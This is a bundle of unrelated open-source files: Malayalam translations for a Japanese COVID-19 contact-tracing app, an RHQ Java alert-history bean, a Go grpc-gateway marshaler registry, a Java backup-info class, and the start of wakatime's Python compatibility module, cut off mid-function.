<value>ട്രാൻസാക്ഷൻ നമ്പർ നിങ്ങൾക്ക് ഇഷ്യൂ ചെയ്തിട്ടുണ്ടെന്ന് നിങ്ങൾ മറുപടി നൽകുകയാണെങ്കിൽ, നിങ്ങളുടെ ടെർമിനലിൽ രേഖപ്പെടുത്തിയിട്ടുള്ള പ്രതിദിന കീ ഉപയോഗിച്ച് മറ്റ് ഉപയോക്താക്കളുടെ ടെർമിനലുകൾ നൽകും.</value>
<comment>処理番号があなたに対して発行されたものである旨の回答が行われた場合は、他の利用者の端末に、あなたの端末に記録された日次鍵が提供されます。</comment>
</data>
<data name="SubmitConsentPageDescription5" xml:space="preserve">
<value>14 ദിവസത്തിനുള്ളിൽ നിങ്ങൾ നിങ്ങളുമായി ബന്ധപ്പെടുകയാണെങ്കിൽ, നിങ്ങളെ വ്യക്തിപരമായി തിരിച്ചറിയാൻ കഴിയുന്ന ഏതെങ്കിലും വിവരമില്ലാതെ നിങ്ങളെ ബന്ധപ്പെടാൻ കഴിഞ്ഞേക്കാം.</value>
<comment>14日以内にあなたと接触の状態となったことのある方は、あなた個人を識別可能な情報がない状態で、接触した可能性がある旨を知ることができます。</comment>
</data>
<data name="SubmitConsentPageDescription6" xml:space="preserve">
<value>സമ്മതിക്കുകയും രജിസ്റ്റർ ചെയ്യുകയും ചെയ്യുക</value>
<comment>同意して陽性登録する</comment>
</data>
<data name="SubmitConsentPageTitle1" xml:space="preserve">
<value>പോസിറ്റീവ് രജിസ്ട്രേഷൻ സമ്മതം</value>
<comment>陽性登録への同意</comment>
</data>
<data name="SubmitConsentPageTitle2" xml:space="preserve">
<value>പോസിറ്റീവ് രജിസ്ട്രേഷൻ സമ്മതം</value>
<comment>陽性登録への同意</comment>
</data>
<data name="VersionText" xml:space="preserve">
<value>പതിപ്പ്</value>
<comment>バージョン</comment>
</data>
<data name="ExposureNotificationServiceMessage4" xml:space="preserve">
<value>Bluetooth ഓഫാക്കി. Bluetooth-ൽ തിരിയുക.</value>
<comment>BluetoothがOffになっています。Bluetoothを有効にしてください。</comment>
</data>
<data name="ExposuresPageTitle" xml:space="preserve">
<value>അടുത്ത സമ്പർക്കങ്ങളുടെ ഒരു പട്ടിക (കഴിഞ്ഞ 14 ദിവസം)</value>
<comment>過去14日間の接触一覧</comment>
</data>
<data name="ExposuresPageLabel1" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താക്കളുമായി നിങ്ങൾ അടുത്ത സമ്പർക്കത്തിൽ ഉണ്ടായിരുന്ന തീയതികൾ.</value>
<comment>以下の日に陽性者との接触が確認されました。</comment>
</data>
<data name="UrlTermOfUse" xml:space="preserve">
<value>https://covid19radar.z11.web.core.windows.net/sample_tu.html</value>
<comment>Term of Use</comment>
</data>
<data name="UrlContactedForm" xml:space="preserve">
<value>https://covid19radarjpnprod.z11.web.core.windows.net/en/index.html</value>
</data>
<data name="UrlContactedPhone" xml:space="preserve">
<value>https://covid19radarjpnprod.z11.web.core.windows.net/phone.json</value>
</data>
<data name="LocalNotificationDescription" xml:space="preserve">
<value>COVID-19-നായി പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്ത ഒരു ഉപയോക്താവിനോട് നിങ്ങൾ അടുത്താണ് എന്ന് സാധ്യതയുണ്ട്. കൂടുതൽ വിവരങ്ങൾക്ക് ടാപ്പുചെയ്യുക.</value>
<comment>It is possible you have been in close proximity to a user who tested positive for COVID-19. Tap for more details.</comment>
</data>
<data name="LocalNotificationTitle" xml:space="preserve">
<value>സാധ്യതയുള്ള COVID-19 എക്സ്പോഷർ</value>
<comment>Possible COVID-19 Exposure</comment>
</data>
<data name="LocalNotificationPermittedDescription" xml:space="preserve">
<value>നിങ്ങൾ അത് അപ്രാപ്തമാക്കാൻ ആഗ്രഹിക്കുന്നുവെങ്കിൽ, ആപ്ലിക്കേഷൻ ക്രമീകരണത്തിൽ നിന്ന് നിങ്ങൾക്ക് അത് മാറ്റാവുന്നതാണ്</value>
</data>
<data name="LocalNotificationPermittedTitle" xml:space="preserve">
<value>അറിയിപ്പുകൾ പ്രാവർത്തികമാക്കി</value>
</data>
<data name="InqueryPageDescription3" xml:space="preserve">
<value>ഈ ആപ്ലിക്കേഷനെ കുറിച്ചുള്ള വിവരങ്ങൾ</value>
</data>
<data name="InqueryPageDescription4" xml:space="preserve">
<value>ഉപയോക്താവിനായി Q ഉം Aയും</value>
</data>
<data name="InqueryMailBody" xml:space="preserve">
<value>പേര്: \r\n വിലാസം: \r\n അന്വേഷണഉള്ളടക്കം (ഇനിപ്പറയുന്നവിഭാഗത്തിൽ നിന്ന് ഒരു വിഭാഗം തിരഞ്ഞെടുക്കുക): 1. ആപ്പ് എങ്ങനെ പ്രവർത്തിക്കുന്നു, 2. ആപ്പ് സജ്ജീകരണങ്ങൾ, 3. ആപ്ലിക്കേഷൻ ഉപയോഗം (അറിയിപ്പ് മുതലായവ) 4. മറ്റുള്ളവ \r\n അന്വേഷണ പദാവലി: \r\n</value>
<comment>お名前:\r\nご連絡先:\r\nお問い合わせ内容(カテゴリを次の中からお選びください):1.アプリの仕組み、2.アプリの設定、 3.アプリの利用(通知など)、 4.その他\r\nお問い合わせ本文:\r\n</comment>
</data>
<data name="InqueryMailSubject" xml:space="preserve">
<value>കോൺടാക്റ്റ് സ്ഥിരീകരണ ആപ്പിനെക്കുറിച്ചുള്ള അന്വേഷണങ്ങൾ</value>
<comment>接触確認アプリに関するお問い合わせ</comment>
</data>
<data name="HomePagePastDays" xml:space="preserve">
<value>ദിവസം</value>
<comment>X日間</comment>
</data>
<data name="ExposureNotificationStatusMessageActive" xml:space="preserve">
<value>എക്സ്പോഷർ അറിയിപ്പ് സജീവമാണ്.</value>
<comment>Exposure Notification機能は許諾の状態です。</comment>
</data>
<data name="ExposureNotificationStatusMessageBluetoothOff" xml:space="preserve">
<value>Bluetooth ഓഫാക്കി. Bluetooth ഓണാക്കുക.</value>
<comment>BluetoothがOffになっています。Bluetoothを有効にしてください。</comment>
</data>
<data name="ExposureNotificationStatusMessageDisabled" xml:space="preserve">
<value>എക്സ്പോഷർ അറിയിപ്പ് പ്രവർത്തനരഹിതമാക്കിയിരിക്കുന്നു. ടെർമിനൽ സജ്ജീകരണങ്ങൾ തുറക്കുക, എക്സ്പോഷഅറിയിപ്പ് ഓണാക്കുക.</value>
<comment>Exposure Notification機能は無効の状態です。端末の設定を開いて、Exposure NotificationをONにしてください。</comment>
</data>
<data name="ExposureNotificationStatusMessageIsOptined" xml:space="preserve">
<value>ഉപയോഗ വ്യവസ്ഥകൾ നിങ്ങൾ അംഗീകരിക്കണം.</value>
<comment>利用規約に同意する必要があります。</comment>
</data>
<data name="ExposureNotificationStatusMessageRestricted" xml:space="preserve">
<value>എക്സ്പോഷർ അറിയിപ്പ് പരിമിതപ്പെടുത്തിയിരിക്കുന്നു. സജീവം.</value>
<comment>COVID-19接触通知機能が承認されていません。各OSから承認するか、またはアプリの再インストール後に、再承認してください。</comment>
</data>
<data name="ExposureNotificationStatusMessageUnknown" xml:space="preserve">
<value>എക്സ്പോഷർ അറിയിപ്പ് പിന്തുണയ്ക്കുന്നില്ല. ഏറ്റവും പുതിയ പതിപ്പിലേക്ക് OS അപ് ഡേറ്റ് ചെയ്യുക. നിങ്ങൾക്ക് ഇപ്പോഴും പ്രശ്നങ്ങൾ ഉണ്ടെങ്കിൽ, appsupport@yourhealthcaredivmailaddress.org ഞങ്ങളെ ബന്ധപ്പെടുക.</value>
<comment>Exposure Notification機能は非対応の状態です。OSを最新版にアップデートしてください。それでも改善しなければ、appsupport@yourhealthcaredivmailaddress.orgまでお問い合わせください。</comment>
</data>
<data name="DialogNetworkConnectionErrorTitle" xml:space="preserve">
<value>നെറ്റ് വർക്ക് കണക്ഷൻ പിശക്</value>
<comment>通信に失敗しました。</comment>
</data>
<data name="DialogExposureNotificationStartupErrorTitle" xml:space="preserve">
<value>എക്സ്പോഷര് അറിയിപ്പ് ആരംഭപിശക്</value>
<comment>Exposure Notification起動エラー</comment>
</data>
<data name="DialogExposureNotificationStartupError" xml:space="preserve">
<value>എക്സ്പോഷര് അറിയിപ്പ് തുടങ്ങുവാന് സാധ്യമായില്ല. ടെർമിനൽ സജ്ജീകരണങ്ങൾ തുറക്കുക, എക്സ്പോഷഅറിയിപ്പ് ഓണാക്കുക, Bluetooth-ൽ തിരിക്കുക.</value>
<comment>Exposure Notificationを起動できませんでした。端末の設定を開いて、Exposure NotificationをONにするとともに、BluetoothをONにしてください。</comment>
</data>
<data name="ExposureNotificationHandler1ErrorMessage" xml:space="preserve">
<value>പ്രോസസ്സ് നമ്പർ തെറ്റാണ്</value>
<comment>アプリで入力された処理番号が違います</comment>
</data>
<data name="ExposureNotificationHandler2ErrorMessage" xml:space="preserve">
<value>രജിസ്ട്രേഷൻ സെന്ററിലേക്ക് ബന്ധിപ്പിക്കാൻ കഴിയില്ല</value>
<comment>センターに接続できません</comment>
</data>
<data name="NotifyOtherPageDiag1Message" xml:space="preserve">
<value>നിങ്ങൾക്ക് പോസിറ്റീവ് വിവരങ്ങൾ രജിസ്റ്റർ ചെയ്യാൻ താൽപ്പര്യമുണ്ടോ?</value>
<comment>陽性情報を登録しますか?</comment>
</data>
<data name="NotifyOtherPageDiag1Title" xml:space="preserve">
<value>രജിസ്റ്റർ ചെയ്യുക</value>
<comment>登録</comment>
</data>
<data name="NotifyOtherPageDiag2Message" xml:space="preserve">
<value>റദ്ദാക്കി</value>
<comment>キャンセルしました</comment>
</data>
<data name="NotifyOtherPageDiag3Message" xml:space="preserve">
<value>രജിസ്ട്രേഷൻ ആരംഭിക്കുന്നത് വരെ കുറച്ച് സമയം കാത്തിരിക്കുക</value>
<comment>登録開始までしばらくそのままでお待ちください</comment>
</data>
<data name="NotifyOtherPageDiag3Title" xml:space="preserve">
<value>രജിസ്ട്രേഷൻ കാത്തിരിക്കുന്നു</value>
<comment>登録待ち</comment>
</data>
<data name="NotifyOtherPageDiag4Message" xml:space="preserve">
<value>പ്രോസസ്സിംഗ് നമ്പർ നൽകിയില്ല</value>
<comment>処理番号が入力されていません</comment>
</data>
<data name="NotifyOtherPageDiag5Message" xml:space="preserve">
<value>പ്രോസസ്സിംഗ് നമ്പർ ഫോർമാറ്റ് പൊരുത്തപ്പെടുന്നില്ല</value>
<comment>処理番号のフォーマットが一致していません</comment>
</data>
<data name="NotifyOtherPageDiag6Message" xml:space="preserve">
<value>പോസിറ്റീവ് റെക്കോർഡുകൾ രജിസ്റ്റർ ചെയ്യുന്നതിന്, COVID-19 സമ്പർക്ക ലോഗ് റെക്കോർഡിംഗ് പ്രാപ്തമാക്കേണ്ടത് അത്യാവശ്യമാണ്, ആപ്ലിക്കേഷനിൽ നിന്നോ OS ക്രമീകരണങ്ങളിൽ നിന്നോ ഇത് പ്രാപ്തമാക്കുക.</value>
<comment>陽性記録の登録を行う為にCOVID-19接触のログ記録を有効にする必要があります、アプリかOSの設定から有効にしてください。</comment>
</data>
<data name="NotifyOtherPageDiag6Title" xml:space="preserve">
<value>COVID-19 സമ്പർക്ക ലോഗിങ് പ്രാവർത്തികമാക്കുക</value>
<comment>COVID-19接触のログ記録を有効にしてください</comment>
</data>
<data name="NotifyOtherPageDiagAppClose" xml:space="preserve">
<value>രജിസ് ട്രേഷനുകളുടെ എണ്ണം ഉയർന്ന പരിധിയിലെത്തിയിരിക്കുന്നു. പ്രയോഗം പുറത്തു് കടക്കുക</value>
<comment>登録回数上限になりました。アプリケーションを終了します</comment>
</data>
<data name="NotifyOtherPageDiagErrorTitle" xml:space="preserve">
<value>രജിസ്ട്രേഷൻ പിശക്</value>
<comment>登録エラー</comment>
</data>
<data name="NotifyOtherPageDialogExceptionTargetDiagKeyNotFound" xml:space="preserve">
<value>സമർപ്പിക്കുന്നതിന് ബന്ധപ്പെട്ട സമ്പർക്ക രേഖ സ്ഥിരീകരിക്കുവാൻ സാധ്യമായില്ല. സമർപ്പിക്കേണ്ട ആവശ്യമില്ല.</value>
<comment>提出に該当する接触記録が確認できませんでした。提出の必要はありません。</comment>
</data>
<data name="NotifyOtherPageDialogExceptionTargetDiagKeyNotFoundTitle" xml:space="preserve">
<value>ബാധകമായ വിലാസം ലഭ്യമല്ല</value>
<comment>該当接触なし</comment>
</data>
<data name="UrlVersion" xml:space="preserve">
<value>https://covid19radarjpnprod.z11.web.core.windows.net/version.json</value>
</data>
<data name="AppUtilsGetNewVersionDescription" xml:space="preserve">
<value>ആപ്പിന്റെ പുതിയ പതിപ്പ് ലഭ്യമാണ്. ഏറ്റവും പുതിയ പതിപ്പിലേക്ക് അപ് ഡേറ്റ് ചെയ്യുക.</value>
<comment>新しいバージョンのアプリが提供されています。最新版へ更新をお願いします。</comment>
</data>
<data name="AppUtilsGetNewVersionTitle" xml:space="preserve">
<value>ഏറ്റവും പുതിയ പതിപ്പിലേക്ക് അപ് ഡേറ്റ് ചെയ്യുക</value>
<comment>最新版への更新</comment>
</data>
<data name="ExposureNotificationHandler3ErrorMessage" xml:space="preserve">
<value>കോൺടാക്റ്റ് റെക്കോർഡ് ഡാറ്റയുമായി ബന്ധപ്പെട്ട് ഒരു പ്രശ്നമുണ്ട്</value>
<comment>接触記録データに問題があります</comment>
</data>
</root>
|
{
"pile_set_name": "Github"
}
|
/*
* RHQ Management Platform
* Copyright (C) 2005-2008 Red Hat, Inc.
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
package org.rhq.enterprise.gui.alert;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import javax.faces.application.FacesMessage;
import javax.faces.model.DataModel;
import javax.faces.model.SelectItem;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.rhq.core.domain.alert.Alert;
import org.rhq.core.domain.alert.AlertCondition;
import org.rhq.core.domain.alert.AlertConditionLog;
import org.rhq.core.domain.alert.AlertPriority;
import org.rhq.core.domain.alert.composite.AlertWithLatestConditionLog;
import org.rhq.core.domain.auth.Subject;
import org.rhq.core.domain.common.EntityContext;
import org.rhq.core.domain.common.composite.IntegerOptionItem;
import org.rhq.core.domain.criteria.AlertCriteria;
import org.rhq.core.domain.measurement.DataType;
import org.rhq.core.domain.resource.Resource;
import org.rhq.core.domain.util.PageControl;
import org.rhq.core.domain.util.PageList;
import org.rhq.core.gui.util.FacesContextUtility;
import org.rhq.core.gui.util.StringUtility;
import org.rhq.core.server.MeasurementConverter;
import org.rhq.enterprise.gui.common.converter.SelectItemUtils;
import org.rhq.enterprise.gui.common.framework.PagedDataTableUIBean;
import org.rhq.enterprise.gui.common.paging.PageControlView;
import org.rhq.enterprise.gui.common.paging.PagedListDataModel;
import org.rhq.enterprise.gui.legacy.action.resource.common.monitor.alerts.AlertDefUtil;
import org.rhq.enterprise.gui.util.EnterpriseFacesContextUtility;
import org.rhq.enterprise.server.alert.AlertDefinitionManagerLocal;
import org.rhq.enterprise.server.alert.AlertManagerLocal;
import org.rhq.enterprise.server.util.LookupUtil;
/**
* @author Greg Hinkle
* @author Joseph Marques
*/
public class ListAlertHistoryUIBean extends PagedDataTableUIBean {
private static final Log log = LogFactory.getLog(ListAlertHistoryUIBean.class);
public static final String MANAGED_BEAN_NAME = "ListAlertHistoryUIBean";
// filter stuff
private String dateFilter;
private String dateErrors;
private String alertDefinitionFilter;
private String alertPriorityFilter;
private SelectItem[] alertDefinitionSelectItems;
private SelectItem[] alertPrioritySelectItems;
private AlertManagerLocal alertManager = LookupUtil.getAlertManager();
private AlertDefinitionManagerLocal alertDefinitionManager = LookupUtil.getAlertDefinitionManager();
public ListAlertHistoryUIBean() {
}
public String getDateFilter() {
if (dateFilter == null) {
dateFilter = FacesContextUtility.getOptionalRequestParameter("alertHistoryForm:dateFilter");
}
return this.dateFilter;
}
public void setDateFilter(String dateFilter) {
this.dateFilter = dateFilter;
}
public String getDateErrors() {
return this.dateErrors;
}
public void setDateErrors(String dateErrors) {
this.dateErrors = dateErrors;
}
/*
* definition filter stuff
*/
public String getAlertDefinitionFilter() {
if (alertDefinitionFilter == null) {
alertDefinitionFilter = SelectItemUtils.getSelectItemFilter("alertHistoryForm:alertDefinitionFilter");
}
return SelectItemUtils.cleanse(alertDefinitionFilter);
}
public void setAlertDefinitionFilter(String alertDefinitionFilter) {
this.alertDefinitionFilter = alertDefinitionFilter;
}
public SelectItem[] getAlertDefinitionSelectItems() {
if (alertDefinitionSelectItems == null) {
List<IntegerOptionItem> optionItems = alertDefinitionManager.findAlertDefinitionOptionItemsForResource(
getSubject(), getResource().getId());
alertDefinitionSelectItems = SelectItemUtils.convertFromListOptionItem(optionItems, true);
}
return alertDefinitionSelectItems;
}
public void setAlertDefinitionSelectItems(SelectItem[] alertDefinitionSelectItems) {
this.alertDefinitionSelectItems = alertDefinitionSelectItems;
}
/*
* priority filter stuff
*/
public String getAlertPriorityFilter() {
if (alertPriorityFilter == null) {
alertPriorityFilter = SelectItemUtils.getSelectItemFilter("alertHistoryForm:alertPriorityFilter");
}
return SelectItemUtils.cleanse(alertPriorityFilter);
}
public void setAlertPriorityFilter(String alertPriorityFilter) {
this.alertPriorityFilter = alertPriorityFilter;
}
public SelectItem[] getAlertPrioritySelectItems() {
if (alertPrioritySelectItems == null) {
alertPrioritySelectItems = SelectItemUtils.convertFromEnum(AlertPriority.class, true);
}
return alertPrioritySelectItems;
}
public void setAlertPrioritySelectItems(SelectItem[] alertPrioritySelectItems) {
this.alertPrioritySelectItems = alertPrioritySelectItems;
}
public String deleteSelectedAlerts() {
Subject subject = EnterpriseFacesContextUtility.getSubject();
String[] selectedAlerts = getSelectedAlerts();
int[] alertDefinitionIds = StringUtility.getIntArray(selectedAlerts);
try {
alertManager.deleteAlerts(subject, alertDefinitionIds);
FacesContextUtility.addMessage(FacesMessage.SEVERITY_INFO, "Deleted " + alertDefinitionIds.length
+ " alerts.");
} catch (Exception e) {
FacesContextUtility.addMessage(FacesMessage.SEVERITY_ERROR, "Failed to delete selected alerts.", e);
}
return "success";
}
public String acknowledgeSelectedAlerts() {
Subject subject = EnterpriseFacesContextUtility.getSubject();
String[] selectedAlerts = getSelectedAlerts();
int[] alertIds = StringUtility.getIntArray(selectedAlerts);
try {
int num = alertManager.acknowledgeAlerts(subject, alertIds);
if (num == -1)
FacesContextUtility.addMessage(FacesMessage.SEVERITY_WARN, "No Alerts passed to ack");
else
FacesContextUtility.addMessage(FacesMessage.SEVERITY_INFO, "Acknowledged " + num + " alerts");
} catch (Exception e) {
FacesContextUtility.addMessage(FacesMessage.SEVERITY_ERROR, "Failed to acknowledge selected alerts.", e);
}
return "success";
}
public String purgeAllAlerts() {
Subject subject = EnterpriseFacesContextUtility.getSubject();
Resource resource = EnterpriseFacesContextUtility.getResource();
try {
int numDeleted = alertManager.deleteAlertsByContext(subject, EntityContext.forResource(resource.getId()));
FacesContextUtility.addMessage(FacesMessage.SEVERITY_INFO, "Deleted " + numDeleted
+ " alerts on this resource");
} catch (Exception e) {
FacesContextUtility.addMessage(FacesMessage.SEVERITY_ERROR, "Failed to delete alerts for resource[ "
+ resource.getId() + " ]", e);
log.error("failed to delete alerts for resource[ " + resource.getId() + " ]", e);
}
return "success";
}
@Override
public DataModel getDataModel() {
if (dataModel == null) {
dataModel = new ListAlertDefinitionsDataModel(PageControlView.AlertHistoryList, MANAGED_BEAN_NAME);
}
return dataModel;
}
private class ListAlertDefinitionsDataModel extends PagedListDataModel<AlertWithLatestConditionLog> {
public ListAlertDefinitionsDataModel(PageControlView view, String beanName) {
super(view, beanName);
}
@Override
public PageList<AlertWithLatestConditionLog> fetchPage(PageControl pc) {
String dateStr = getDateFilter(); // get the outer class's JSF-managed property
Date date = null;
ListAlertHistoryUIBean.this.setDateErrors(null);
if ((dateStr != null) && !dateStr.equals("")) {
try {
DateFormat df = new SimpleDateFormat("MM/dd/yy");
date = df.parse(dateStr);
} catch (ParseException pe) {
ListAlertHistoryUIBean.this.setDateErrors("Error: Invalid date filter, format is MM/dd/yy");
// do nothing else, things will pass through will a null date and function properly
}
}
Integer alertDefinitionId = getAlertDefinitionId();
AlertPriority alertPriority = getAlertPriority();
long MILLIS_IN_DAY = 24 * 60 * 60 * 1000;
Long beginTime = null;
Long endTime = null;
if (date != null) {
beginTime = date.getTime();
endTime = new Date(beginTime + MILLIS_IN_DAY).getTime();
}
Resource resource = getResource();
AlertCriteria criteria = new AlertCriteria();
criteria.addFilterResourceIds(resource.getId());
criteria.addFilterAlertDefinitionIds(alertDefinitionId);
criteria.addFilterPriorities(alertPriority);
criteria.addFilterStartTime(beginTime);
criteria.addFilterEndTime(endTime);
criteria.setPageControl(pc);
PageList<Alert> alerts = alertManager.findAlertsByCriteria(getSubject(), criteria);
List<AlertWithLatestConditionLog> results = new ArrayList<AlertWithLatestConditionLog>(alerts.size());
HttpServletRequest request = FacesContextUtility.getRequest();
for (Alert alert : alerts) {
String recoveryInfo = AlertDefUtil.getAlertRecoveryInfo(alert, resource.getId());
if (alert.getConditionLogs().size() > 1) {
results.add(new AlertWithLatestConditionLog(alert, "Multiple Conditions", "--", recoveryInfo));
} else if (alert.getConditionLogs().size() == 1) {
AlertConditionLog log = alert.getConditionLogs().iterator().next();
AlertCondition condition = log.getCondition();
String displayText = AlertDefUtil.formatAlertConditionForDisplay(condition, request);
String firedValue = log.getValue();
if (isPureNumeric(condition)) {
firedValue = MeasurementConverter.format(Double.valueOf(log.getValue()), condition
.getMeasurementDefinition().getUnits(), true);
}
results.add(new AlertWithLatestConditionLog(alert, displayText, firedValue, recoveryInfo));
} else {
results.add(new AlertWithLatestConditionLog(alert, "No Conditions", "--", recoveryInfo));
}
}
return new PageList<AlertWithLatestConditionLog>(results, alerts.getTotalSize(), pc);
}
}
private boolean isPureNumeric(AlertCondition condition) {
return condition.getMeasurementDefinition() != null
&& condition.getMeasurementDefinition().getDataType() != DataType.CALLTIME;
}
private Integer getAlertDefinitionId() {
String alertDefinitionString = getAlertDefinitionFilter();
if (alertDefinitionString != null) {
return Integer.parseInt(alertDefinitionString);
}
return null;
}
private AlertPriority getAlertPriority() {
String alertPriorityName = getAlertPriorityFilter();
if (alertPriorityName != null) {
return Enum.valueOf(AlertPriority.class, alertPriorityName);
}
return null;
}
private String[] getSelectedAlerts() {
return FacesContextUtility.getRequest().getParameterValues("selectedAlerts");
}
}
|
{
"pile_set_name": "Github"
}
|
package runtime
import (
"errors"
"net/http"
)
// MIMEWildcard is the fallback MIME type used for requests which do not match
// a registered MIME type.
const MIMEWildcard = "*"
var (
acceptHeader = http.CanonicalHeaderKey("Accept")
contentTypeHeader = http.CanonicalHeaderKey("Content-Type")
defaultMarshaler = &JSONPb{OrigName: true}
)
// MarshalerForRequest returns the inbound/outbound marshalers for this request.
// It checks the registry on the ServeMux for the MIME type set by the Content-Type header.
// If it isn't set (or the request Content-Type is empty), checks for "*".
// If there are multiple Content-Type headers set, choose the first one that it can
// exactly match in the registry.
// Otherwise, it follows the above logic for "*"/InboundMarshaler/OutboundMarshaler.
func MarshalerForRequest(mux *ServeMux, r *http.Request) (inbound Marshaler, outbound Marshaler) {
for _, acceptVal := range r.Header[acceptHeader] {
if m, ok := mux.marshalers.mimeMap[acceptVal]; ok {
outbound = m
break
}
}
for _, contentTypeVal := range r.Header[contentTypeHeader] {
if m, ok := mux.marshalers.mimeMap[contentTypeVal]; ok {
inbound = m
break
}
}
if inbound == nil {
inbound = mux.marshalers.mimeMap[MIMEWildcard]
}
if outbound == nil {
outbound = inbound
}
return inbound, outbound
}
// marshalerRegistry is a mapping from MIME types to Marshalers.
type marshalerRegistry struct {
mimeMap map[string]Marshaler
}
// add adds a marshaler for a case-sensitive MIME type string ("*" to match any
// MIME type).
func (m marshalerRegistry) add(mime string, marshaler Marshaler) error {
if len(mime) == 0 {
return errors.New("empty MIME type")
}
m.mimeMap[mime] = marshaler
return nil
}
// makeMarshalerMIMERegistry returns a new registry of marshalers.
// It allows for a mapping of case-sensitive Content-Type MIME type string to runtime.Marshaler interfaces.
//
// For example, you could allow the client to specify the use of the runtime.JSONPb marshaler
// with a "application/jsonpb" Content-Type and the use of the runtime.JSONBuiltin marshaler
// with a "application/json" Content-Type.
// "*" can be used to match any Content-Type.
// This can be attached to a ServerMux with the marshaler option.
func makeMarshalerMIMERegistry() marshalerRegistry {
return marshalerRegistry{
mimeMap: map[string]Marshaler{
MIMEWildcard: defaultMarshaler,
},
}
}
// WithMarshalerOption returns a ServeMuxOption which associates inbound and outbound
// Marshalers to a MIME type in mux.
func WithMarshalerOption(mime string, marshaler Marshaler) ServeMuxOption {
return func(mux *ServeMux) {
if err := mux.marshalers.add(mime, marshaler); err != nil {
panic(err)
}
}
}
|
{
"pile_set_name": "Github"
}
|
package org.emdev.common.backup;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.emdev.utils.CompareUtils;
import org.emdev.utils.LengthUtils;
import org.emdev.utils.enums.EnumUtils;
import org.json.JSONException;
import org.json.JSONObject;
public class BackupInfo implements Comparable<BackupInfo> {
private static final SimpleDateFormat SDF = new SimpleDateFormat("yyyyMMdd.HHmmss");
public final Type type;
public final String name;
Date timestamp;
File file;
BackupInfo() {
this.type = Type.AUTO;
this.timestamp = null;
this.name = null;
}
public BackupInfo(final String name) {
this.type = Type.USER;
this.name = name;
this.timestamp = null;
}
public BackupInfo(final File f) throws JSONException, ParseException {
final JSONObject obj = fromJSON(f);
if (obj == null) {
throw new JSONException("Backup file cannot be loadedd");
}
this.type = EnumUtils.getByName(Type.class, obj.getString("type"), Type.USER);
this.name = obj.getString("name");
this.timestamp = SDF.parse(obj.getString("timestamp"));
}
public Date getTimestamp() {
return timestamp;
}
public String getFileName() {
return getFileName(type, timestamp);
}
public JSONObject toJSON() throws JSONException {
final JSONObject root = new JSONObject();
root.put("type", type.name());
root.put("name", LengthUtils.safeString(name, "auto"));
root.put("timestamp", SDF.format(timestamp));
return root;
}
@Override
public String toString() {
final StringBuilder buf = new StringBuilder(this.getClass().getSimpleName());
buf.append("[");
buf.append("timestamp").append("=").append(timestamp != null ? SDF.format(timestamp) : null);
buf.append(", ");
buf.append("name").append("=").append(name);
buf.append("]");
return buf.toString();
}
@Override
public int compareTo(final BackupInfo that) {
if (that == null) {
return 1;
}
int res = CompareUtils.compare(this.type, that.type);
if (res == 0) {
res = - CompareUtils.compare(this.timestamp, that.timestamp);
}
if (res == 0) {
res = CompareUtils.compare(this.name, that.name);
}
return res;
}
@Override
public boolean equals(final Object obj) {
if (this == obj) {
return true;
}
if (obj instanceof BackupInfo) {
return 0 == compareTo((BackupInfo) obj);
}
return false;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + ((name == null) ? 0 : name.hashCode());
result = prime * result + ((timestamp == null) ? 0 : timestamp.hashCode());
result = prime * result + ((type == null) ? 0 : type.hashCode());
return result;
}
public static String getFileName(final Type type, final Date timestamp) {
return type.name() + "." + SDF.format(timestamp) + ".jso";
}
public static JSONObject fromJSON(final File file) {
final StringBuilder buf = new StringBuilder();
try {
final BufferedReader in = new BufferedReader(new FileReader(file));
try {
for (String s = in.readLine(); s != null; s = in.readLine()) {
buf.append(s).append("\n");
}
return new JSONObject(buf.toString());
} catch (final Exception ex) {
BackupManager.LCTX.e("Reading backup file failed: " + ex.getMessage());
} finally {
try {
in.close();
} catch (final IOException ex) {
}
}
} catch (final FileNotFoundException ex) {
BackupManager.LCTX.e("Reading backup file failed: " + ex.getMessage());
}
return null;
}
public static enum Type {
AUTO, USER;
}
}
|
{
"pile_set_name": "Github"
}
|
# -*- coding: utf-8 -*-
"""
wakatime.compat
~~~~~~~~~~~~~~~
For working with Python2 and Python3.
:copyright: (c) 2014 Alan Hamlett.
:license: BSD, see LICENSE for more details.
"""
import codecs
import os
import platform
import subprocess
import sys
is_py2 = (sys.version_info[0] == 2)
is_py26 = (sys.version_info[0] == 2 and sys.version_info[1] == 6)
is_py3 = (sys.version_info[0] == 3)
is_win = platform.system() == 'Windows'
if is_py2: # pragma: nocover
def u(text):
if text is None:
return None
try:
return text.decode('utf-8')
except:
try:
return text.decode(sys.getdefaultencoding())
except:
try:
return unicode(text)
except:
return text.decode('utf-8', 'replace')
open = codecs.open
basestring = basestring
elif is_py3: # pragma: nocover
def u(text):
if text is None:
return None
if isinstance(text, bytes):
try:
return text.decode('utf-8')
except:
try:
return text.decode(sys.getdefaultencoding())
except:
pass
try:
return str(text)
except:
return text.decode('utf-8', 'replace')
open = open
basestring = (str, bytes)
try:
from importlib import import_module
except ImportError: # pragma: nocover
def _resolve_name(name, package, level):
"""Return the absolute name of the module to be imported."""
if not hasattr(package, 'rindex'):
raise ValueError("'package' not set to a string")
dot = len(package)
for x in xrange(level, 1, -1):
try:
dot = package.rindex('.', 0, dot)
except ValueError:
raise ValueError("attempted relative import beyond top-level "
"package")
return "%s.%s" % (package[:dot], name)
def import_module(name, package=None):
"""Import a module.
The 'package' argument is required when performing a relative import.
It specifies the package to use as the anchor point from which to
resolve the relative import to an absolute import.
"""
if name.startswith('.'):
if not package:
raise TypeError("relative imports require the 'package' "
"argument")
level = 0
for character in name:
